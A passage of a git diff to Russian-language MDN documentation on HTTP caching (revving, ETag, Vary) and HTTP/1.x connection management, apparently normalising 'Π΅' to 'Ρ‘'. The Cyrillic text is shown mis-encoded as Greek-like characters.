ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅. Π’Π°ΠΊΠΈΠ΅ рСсурсы ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ на любой Π²Π΅Π±-страницС:Β Ρ„Π°ΠΉΠ»Ρ‹ скриптов (JavaScript) ΠΈ стилСй (CSS) ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Ρ€Π΅Π΄ΠΊΠΎ, Π½ΠΎ ΡƒΠΆ Ссли это ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ, ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π½Π°Π΄ΠΎ произвСсти ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ быстрСС.</p>
+<p>Π§Π΅ΠΌ большС рСсурсов ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ взято ΠΈΠ· кСша, Ρ‚Π΅ΠΌ быстрСС сайт Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π° запросы ΠΈ Ρ‚Π΅ΠΌ Π²Ρ‹ΡˆΠ΅ Π΅Π³ΠΎ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Из этих сообраТСний ΠΈΡ… "срок годности" ΠΈΠΌΠ΅Π΅Ρ‚ смысл Π΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ большим. Однако, Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с рСсурсами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π΅Π΄ΠΊΠΎ ΠΈ нСрСгулярно. Как Ρ€Π°Π· ΠΈΡ… ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π΄Π°Ρ‘Ρ‚ большС всСго Π²Ρ‹Π³ΠΎΠ΄Ρ‹, Π½ΠΎ сильно затрудняСт ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅. Π’Π°ΠΊΠΈΠ΅ рСсурсы ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ на любой Π²Π΅Π±-страницС:Β Ρ„Π°ΠΉΠ»Ρ‹ скриптов (JavaScript) ΠΈ стилСй (CSS) ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Ρ€Π΅Π΄ΠΊΠΎ, Π½ΠΎ ΡƒΠΆ Ссли это ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ, ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π½Π°Π΄ΠΎ произвСсти ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ быстрСС.</p>
-<p>Π’Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π‘Ρ‚ΠΈΠ² БандСрс (Steve Sounders) Π½Π°Π·Π²Π°Π»Β <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ пСрСвСсти ΠΊΠ°ΠΊ "ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΠΎΡΡ‚ΡŒ". Для Ρ€Π΅Π΄ΠΊΠΎ обновляСмых Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ особый способ имСнования: Π² ΠΈΡ… URL, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π² имя Ρ„Π°ΠΉΠ»Π°, Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Π½ΠΎΠΌΠ΅Ρ€ Ρ€Π΅Π»ΠΈΠ·Π°Β ΠΈΠ»ΠΈ вСрсии. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, каТдая новая вСрсия считаСтся ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ рСсурсом, срок устарСвания ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΡ‚ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ Π΄Π°Π»Π΅ΠΊΠΎ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅Π΅, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π½Π° Π³ΠΎΠ΄, ΠΈΠ»ΠΈ большС. НСдостатком этого ΠΌΠ΅Ρ‚ΠΎΠ΄Π° являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ для получСния Π½ΠΎΠ²Ρ‹Ρ… вСрсий рСсурса приходится ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ всС ссылки Π½Π° Π½Π΅Π³ΠΎ β€” это Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ услоТнСниС, ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ° инструмСнтов. ОбновлСниС статичСских рСсурсов Π²Π»Π΅Ρ‡Π΅Ρ‚ Π·Π° собой ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ ΠΈ часто измСняСмых рСсурсов. Когда ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π²Ρ‹Π΅, ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΈ Π½ΠΎΠ²Ρ‹Π΅ вСрсии Π²Ρ‚ΠΎΡ€Ρ‹Ρ….</p>
+<p>Π’Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π‘Ρ‚ΠΈΠ² БандСрс (Steve Sounders) Π½Π°Π·Π²Π°Π»Β <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ пСрСвСсти ΠΊΠ°ΠΊ "ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΠΎΡΡ‚ΡŒ". Для Ρ€Π΅Π΄ΠΊΠΎ обновляСмых Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ особый способ имСнования: Π² ΠΈΡ… URL, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π² имя Ρ„Π°ΠΉΠ»Π°, Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Π½ΠΎΠΌΠ΅Ρ€ Ρ€Π΅Π»ΠΈΠ·Π°Β ΠΈΠ»ΠΈ вСрсии. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, каТдая новая вСрсия считаСтся ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ рСсурсом, срок устарСвания ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΡ‚ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ Π΄Π°Π»Π΅ΠΊΠΎ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅Π΅, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π½Π° Π³ΠΎΠ΄, ΠΈΠ»ΠΈ большС. НСдостатком этого ΠΌΠ΅Ρ‚ΠΎΠ΄Π° являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ для получСния Π½ΠΎΠ²Ρ‹Ρ… вСрсий рСсурса приходится ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ всС ссылки Π½Π° Π½Π΅Π³ΠΎ β€” это Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ услоТнСниС, ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ° инструмСнтов. ОбновлСниС статичСских рСсурсов Π²Π»Π΅Ρ‡Ρ‘Ρ‚ Π·Π° собой ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ ΠΈ часто измСняСмых рСсурсов. Когда ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π²Ρ‹Π΅, ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΈ Π½ΠΎΠ²Ρ‹Π΅ вСрсии Π²Ρ‚ΠΎΡ€Ρ‹Ρ….</p>
<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΠΌΠ΅Π΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ достоинство: ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π΄Π²ΡƒΡ… ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… рСсурсов Π½Π΅ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ситуации, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ°Ρ вСрсия ΠΎΠ΄Π½ΠΎΠ³ΠΎ рСсурса ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ вмСстС Π½ΠΎΠ²ΠΎΠΉ вСрсиСй Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ для сайтов с взаимосвязанными Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ стилСй CSS ΠΈΠ»ΠΈ JS-скриптов β€” связь ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ·-Π·Π° ссылок Π½Π° ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ элСмСнты HTML-страницы.</p>
@@ -133,7 +133,7 @@ Cache-Control: public
<h3 id="Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ_ETag">Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ETag</h3>
-<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π° {{HTTPHeader("ETag")}} являСтся Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ для клиСнтского прилоТСния (Π°Π³Π΅Π½Ρ‚Π°) Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС сильного Π²Π°Π»ΠΈΠ΄Π°Ρ‚ΠΎΡ€Π°. Π‘ΡƒΡ‚ΡŒΒ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠ»ΠΈΠ΅Π½Ρ‚, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π½Π΅ Π·Π½Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ прСдставляСт эта строка ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Если Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ присутствуСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>ETag</code>, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Ρ€Π°Π½ΡΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‡Π΅Ρ€Π΅Π· Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("If-None-Match")}}Β Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… запросов для Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ рСсурса.</p>
+<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π° {{HTTPHeader("ETag")}} являСтся Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ для клиСнтского прилоТСния (Π°Π³Π΅Π½Ρ‚Π°) Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС сильного Π²Π°Π»ΠΈΠ΄Π°Ρ‚ΠΎΡ€Π°. Π‘ΡƒΡ‚ΡŒΒ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠ»ΠΈΠ΅Π½Ρ‚, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π½Π΅ Π·Π½Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ прСдставляСт эта строка ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π΅Ρ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Если Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ присутствуСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>ETag</code>, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Ρ€Π°Π½ΡΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‡Π΅Ρ€Π΅Π· Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("If-None-Match")}}Β Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… запросов для Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ рСсурса.</p>
<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π° {{HTTPHeader("Last-Modified")}} ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС слабого Π²Π°Π»ΠΈΠ΄Π°Ρ‚ΠΎΡ€Π°. Π‘Π»Π°Π±Ρ‹ΠΌ ΠΎΠ½ считаСтся ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ 1-сСкундноС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅. Если Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ присутствуСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Last-Modified</code>, Ρ‚ΠΎ для Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π² запросах Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ  {{HTTPHeader("If-Modified-Since")}}.</p>
@@ -143,7 +143,7 @@ Cache-Control: public
<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ HTTP-ΠΎΡ‚Π²Π΅Ρ‚Π°Β {{HTTPHeader("Vary")}} опрСдСляСт, ΠΊΠ°ΠΊ ΠΏΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌ Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… запросов ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΌΠΎΠΆΠ΅Ρ‚ Π»ΠΈ Π±Ρ‹Ρ‚ΡŒ использована копия ΠΈΠ· кСша, ΠΈΠ»ΠΈ Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Ρƒ сСрвСра.</p>
-<p>Если кСш ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ запрос, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€ΠΈΡ‚ΡŒ сохранСнным Π² кСшС ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠΌ с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ <code>Vary</code>, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот ΠΎΡ‚Π²Π΅Ρ‚ ΠΌΠΎΠΆΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ совпадСнии всСх ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π²Β <code>Vary</code>Β ΠΏΠΎΠ»Π΅ΠΉ заголовка исходного (сохранСнного в кСшС) запроса ΠΈ Π½ΠΎΠ²ΠΎΠ³ΠΎ запроса.</p>
+<p>Если кСш ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ запрос, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€ΠΈΡ‚ΡŒ сохранённым Π² кСшС ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠΌ с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ <code>Vary</code>, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот ΠΎΡ‚Π²Π΅Ρ‚ ΠΌΠΎΠΆΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ совпадСнии всСх ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π²Β <code>Vary</code>Β ΠΏΠΎΠ»Π΅ΠΉ заголовка исходного (сохранённого в кСшС) запроса ΠΈ Π½ΠΎΠ²ΠΎΠ³ΠΎ запроса.</p>
<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p>
diff --git a/files/ru/web/http/connection_management_in_http_1.x/index.html b/files/ru/web/http/connection_management_in_http_1.x/index.html
index 4b75db2059..7b27e036fe 100644
--- a/files/ru/web/http/connection_management_in_http_1.x/index.html
+++ b/files/ru/web/http/connection_management_in_http_1.x/index.html
@@ -19,27 +19,27 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x
<p>Π’ HTTP/2 внСсСны Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ управлСния соСдинСниСм.</p>
</div>
-<p>Π’Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ соСдинСниСм Π² HTTP примСняСтся ΠΊ соСдинСнию ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΡƒΠ·Π»Π°ΠΌΠΈ, ΠΈ являСтся ΠΏΠΎΡˆΠ°Π³ΠΎΠ²Ρ‹ΠΌ (<a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>) Π° Π½Π΅ "ΠΊΠΎΠ½Π΅Ρ†-ΠΊ-ΠΊΠΎΠ½Ρ†Ρƒ"Β  (<a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end)</a>. МодСль, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ для соСдинСния ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° с Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ прокси, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ ΠΌΠΎΠ΄Π΅Π»ΠΈ соСдинСния ΠΌΠ΅ΠΆΠ΄Ρƒ прокси ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΌ сСрвСром (ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌ ΠΈΠ· ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹Ρ… сСрвСров). Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈΒ HTTP, Π²ΠΎΠ²Π»Π΅Ρ‡Π΅Π½Π½Ρ‹Π΅ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ соСдинСния, Ρ‚ΠΈΠΏΠ° HTTPHeader("Connection")}} ΠΈ {{HTTPHeader("Keep-Alive")}}, ΡΠ²Π»ΡΡŽΡ‚ΡΡ <a href="/en-US/docs/Web/HTTP/Headers#hbh">ΠΏΠΎΡˆΠ°Π³ΠΎΠ²Ρ‹ΠΌΠΈ</a> Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ, значСния ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹ΠΌΠΈ ΡƒΠ·Π»Π°ΠΌΠΈ.</p>
+<p>Π’Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ соСдинСниСм Π² HTTP примСняСтся ΠΊ соСдинСнию ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΡƒΠ·Π»Π°ΠΌΠΈ, ΠΈ являСтся ΠΏΠΎΡˆΠ°Π³ΠΎΠ²Ρ‹ΠΌ (<a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>) Π° Π½Π΅ "ΠΊΠΎΠ½Π΅Ρ†-ΠΊ-ΠΊΠΎΠ½Ρ†Ρƒ"Β  (<a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end)</a>. МодСль, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ для соСдинСния ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° с Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ прокси, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ ΠΌΠΎΠ΄Π΅Π»ΠΈ соСдинСния ΠΌΠ΅ΠΆΠ΄Ρƒ прокси ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΌ сСрвСром (ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌ ΠΈΠ· ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹Ρ… сСрвСров). Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈΒ HTTP, Π²ΠΎΠ²Π»Π΅Ρ‡Ρ‘Π½Π½Ρ‹Π΅ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ соСдинСния, Ρ‚ΠΈΠΏΠ° HTTPHeader("Connection")}} ΠΈ {{HTTPHeader("Keep-Alive")}}, ΡΠ²Π»ΡΡŽΡ‚ΡΡ <a href="/en-US/docs/Web/HTTP/Headers#hbh">ΠΏΠΎΡˆΠ°Π³ΠΎΠ²Ρ‹ΠΌΠΈ</a> Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ, значСния ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹ΠΌΠΈ ΡƒΠ·Π»Π°ΠΌΠΈ.</p>
<h2 id="ΠšΡ€Π°Ρ‚ΠΊΠΎΡΡ€ΠΎΡ‡Π½Ρ‹Π΅_соСдинСния_Short-lived_connections">ΠšΡ€Π°Ρ‚ΠΊΠΎΡΡ€ΠΎΡ‡Π½Ρ‹Π΅ соСдинСния (Short-lived connections)</h2>
